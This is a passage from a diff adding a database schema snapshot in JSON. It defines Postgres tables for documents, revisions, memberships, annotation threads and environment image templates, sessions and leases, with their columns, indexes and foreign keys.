+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
